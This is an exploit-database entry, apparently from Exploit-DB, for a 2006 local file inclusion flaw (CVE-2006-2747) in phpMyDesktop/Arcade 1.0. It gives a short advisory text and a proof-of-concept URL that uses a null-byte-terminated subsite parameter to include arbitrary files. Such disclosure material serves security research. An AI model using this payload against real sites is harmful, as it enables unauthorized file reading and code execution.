Exploit PHPMyDesktop/Arcade 1.0 - 'index.php' Local File Inclusion

[Exploiter]

EDB-ID

27926

Проверка EDB

1. Пройдено

Автор

DARKGOD

Тип уязвимости

WEBAPPS

Платформа

PHP

CVE

cve-2006-2747

Дата публикации

2006-05-31

source: https://www.securityfocus.com/bid/18185/info

phpMyDesktop|arcade is prone to a local file-include vulnerability. This may allow unauthorized users to view files and to execute local scripts.

An attacker may also be able to execute arbitrary code by way of uploaded images.

http://www.example.com/index.php?todo=showsubsite&subsite=[file]%00